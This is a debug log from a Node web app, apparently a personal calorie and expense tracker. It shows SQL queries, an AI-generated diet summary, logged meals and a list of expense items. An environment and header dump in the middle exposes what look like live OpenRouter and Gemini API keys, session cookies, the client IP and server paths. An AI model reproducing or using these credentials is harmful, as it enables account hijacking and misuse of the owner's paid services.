    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-21T05:34:52.561Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "The day's nutrition appears to be quite limited, with only one food item logged. This single item, while containing some carbohydrates and fats, is likely insufficient to support muscle development and recovery goals, especially with a consistent gym routine. The weight trend shows a general downward movement over the past two weeks, indicating some progress.",
    bad_points: [
      'Extremely low food intake for the day.',
      'Lack of protein sources to support muscle repair and growth.',
      'Potential for insufficient energy to fuel workouts and daily activities.',
      'Limited variety in food choices, impacting micronutrient intake.'
    ],
    good_points: [
      'Consistent gym attendance is a positive for muscle development and fat loss.'
    ],
    suggestions: [
      'Incorporate at least two more substantial meals throughout the day.',
      'Prioritize protein-rich foods like lean meats, poultry, fish, dairy, or legumes in each meal.',
      'Ensure adequate carbohydrate intake to replenish energy stores after workouts.',
      'Include healthy fats from sources like nuts, seeds, or avocados.',
      'Stay well-hydrated by drinking plenty of water.'
    ],
    predicted_weight: 69.7,
    predicted_weight_trend: 'Continued slow loss'
  },
  date: '2025-12-20T18:30:00.000Z'
}
2025-12-21T05:34:52.562Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-21T05:34:52.562Z server-connect:app Executing action step select
2025-12-21T05:34:52.562Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-21T05:34:52.564Z server-connect:output item_list: [
  {
    id: 473,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Aalo Matar Ghughri',
    calories: 250,
    protein_gm: 8,
    carbs_gm: 35,
    fat_gm: 10,
    quantity: '1 serving',
    replacements: 'Aalo Matar Ghughri with less oil,Steamed vegetables with a side of lean protein,Lentil soup (dal) with vegetables',
    created_at: '2025-12-20T22:31:45.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, traditional preparations can be high in oil. For muscle development, focusing on higher protein and lower fat options might be more beneficial, especially if consumed frequently. However, in moderation, it's an acceptable dish."
  }
]
2025-12-21T05:34:52.564Z server-connect:app Executing action step setvalue
2025-12-21T05:34:52.564Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-21T05:34:52.564Z server-connect:output var_total: 250
2025-12-21T05:34:52.564Z server-connect:app Executing action step setvalue
2025-12-21T05:34:52.564Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-21T05:34:52.565Z server-connect:output var_consumed: 10
2025-12-21T05:34:52.565Z server-connect:app Executing action step setvalue
2025-12-21T05:34:52.565Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-21T05:34:52.565Z server-connect:output var_deficit: 2150
2025-12-21T05:34:52.565Z server-connect:app Executing action step custom
2025-12-21T05:34:52.565Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-21T05:34:52.566Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '250',
    surplus_or_deficit: '2150',
    status_flag: 2
  }
]
2025-12-21T05:34:53.316Z server-connect:app Executing action step identify
2025-12-21T05:34:53.316Z server-connect:app options: { provider: 'security' }
2025-12-21T05:34:53.316Z server-connect:output identity: 1
2025-12-21T05:34:59.798Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-21T05:34:59.799Z server-connect:app Executing action step identify
2025-12-21T05:34:59.799Z server-connect:app options: { provider: 'security' }
2025-12-21T05:34:59.799Z server-connect:output identity: 1
2025-12-21T05:34:59.799Z server-connect:app Executing action step restrict
2025-12-21T05:34:59.799Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T05:34:59.800Z server-connect:output restrict: undefined
2025-12-21T05:34:59.800Z server-connect:app Executing action step processWithGemini
2025-12-21T05:34:59.800Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-21T05:35:01.532Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Whey Protein',
      quantity: '1 scoop (approx 30g, typical serving size)',
      calories_consumed: 120,
      total_calories: 120,
      protein: 24,
      carbs: 3,
      fat: 2,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent for muscle development and recovery, especially post-workout. High in protein and low in carbs/fat.'
    }
  ],
  total_macros: {
    protein: { value: 24, unit: 'g' },
    carbs: { value: 3, unit: 'g' },
    fat: { value: 2, unit: 'g' }
  }
}
2025-12-21T05:35:05.375Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-21T05:35:05.376Z server-connect:app Executing action step identify
2025-12-21T05:35:05.376Z server-connect:app options: { provider: 'security' }
2025-12-21T05:35:05.376Z server-connect:output identity: 1
2025-12-21T05:35:05.376Z server-connect:app Executing action step restrict
2025-12-21T05:35:05.376Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T05:35:05.377Z server-connect:output restrict: undefined
2025-12-21T05:35:05.377Z server-connect:app Executing action step condition
2025-12-21T05:35:05.377Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-21T05:35:05.377Z server-connect:app Executing action step repeat
2025-12-21T05:35:05.377Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-21T05:35:05.377Z server-connect:app Executing action step insert
2025-12-21T05:35:05.377Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-21T05:35:05.379Z server-connect:output calories: { affected: 1, identity: 474 }
2025-12-21T05:35:05.380Z server-connect:output repeat: [ {} ]
2025-12-21T05:35:05.380Z server-connect:output condition: undefined
2025-12-21T05:35:05.613Z server-connect:router Serving templateView /calorie-tracker
2025-12-21T05:35:05.614Z server-connect:app Executing action step identify
2025-12-21T05:35:05.614Z server-connect:app options: { provider: 'security' }
2025-12-21T05:35:05.614Z server-connect:output identity: 1
2025-12-21T05:35:05.614Z server-connect:app Executing action step restrict
2025-12-21T05:35:05.614Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T05:35:05.615Z server-connect:output restrict: undefined
2025-12-21T05:35:05.615Z server-connect:router Render template layouts/main
2025-12-21T05:35:05.615Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'x-forwarded-for': '157.48.249.4',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T03:59:09.069Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.249.4',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'HTTP_X_FORWARDED-FOR': '157.48.249.4',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-21T05:35:05.825Z server-connect:app Executing action step identify
2025-12-21T05:35:05.825Z server-connect:app options: { provider: 'security' }
2025-12-21T05:35:05.825Z server-connect:output identity: 1
2025-12-21T05:35:06.169Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-21T05:35:06.170Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-21T05:35:06.171Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-21T05:35:06.172Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-21T05:35:06.172Z server-connect:app Executing action step identify
2025-12-21T05:35:06.172Z server-connect:app options: { provider: 'security' }
2025-12-21T05:35:06.172Z server-connect:output identity: 1
2025-12-21T05:35:06.172Z server-connect:app Executing action step restrict
2025-12-21T05:35:06.172Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T05:35:06.173Z server-connect:app Executing action step identify
2025-12-21T05:35:06.173Z server-connect:app options: { provider: 'security' }
2025-12-21T05:35:06.173Z server-connect:output identity: 1
2025-12-21T05:35:06.173Z server-connect:app Executing action step restrict
2025-12-21T05:35:06.173Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T05:35:06.174Z server-connect:output restrict: undefined
2025-12-21T05:35:06.174Z server-connect:app Executing action step select
2025-12-21T05:35:06.174Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-21T05:35:06.175Z server-connect:app Executing action step identify
2025-12-21T05:35:06.175Z server-connect:app options: { provider: 'security' }
2025-12-21T05:35:06.175Z server-connect:output identity: 1
2025-12-21T05:35:06.175Z server-connect:app Executing action step restrict
2025-12-21T05:35:06.175Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T05:35:06.176Z server-connect:output restrict: undefined
2025-12-21T05:35:06.176Z server-connect:app Executing action step single
2025-12-21T05:35:06.176Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-21T05:35:06.177Z server-connect:app Executing action step identify
2025-12-21T05:35:06.177Z server-connect:app options: { provider: 'security' }
2025-12-21T05:35:06.177Z server-connect:output identity: 1
2025-12-21T05:35:06.177Z server-connect:app Executing action step restrict
2025-12-21T05:35:06.177Z server-connect:app options: { provider: 'security' }
2025-12-21T05:35:06.177Z server-connect:output restrict: undefined
2025-12-21T05:35:06.177Z server-connect:app Executing action step single
2025-12-21T05:35:06.178Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-21T05:35:06.181Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-21T05:35:06.183Z server-connect:output restrict: undefined
2025-12-21T05:35:06.183Z server-connect:app Executing action step single
2025-12-21T05:35:06.183Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
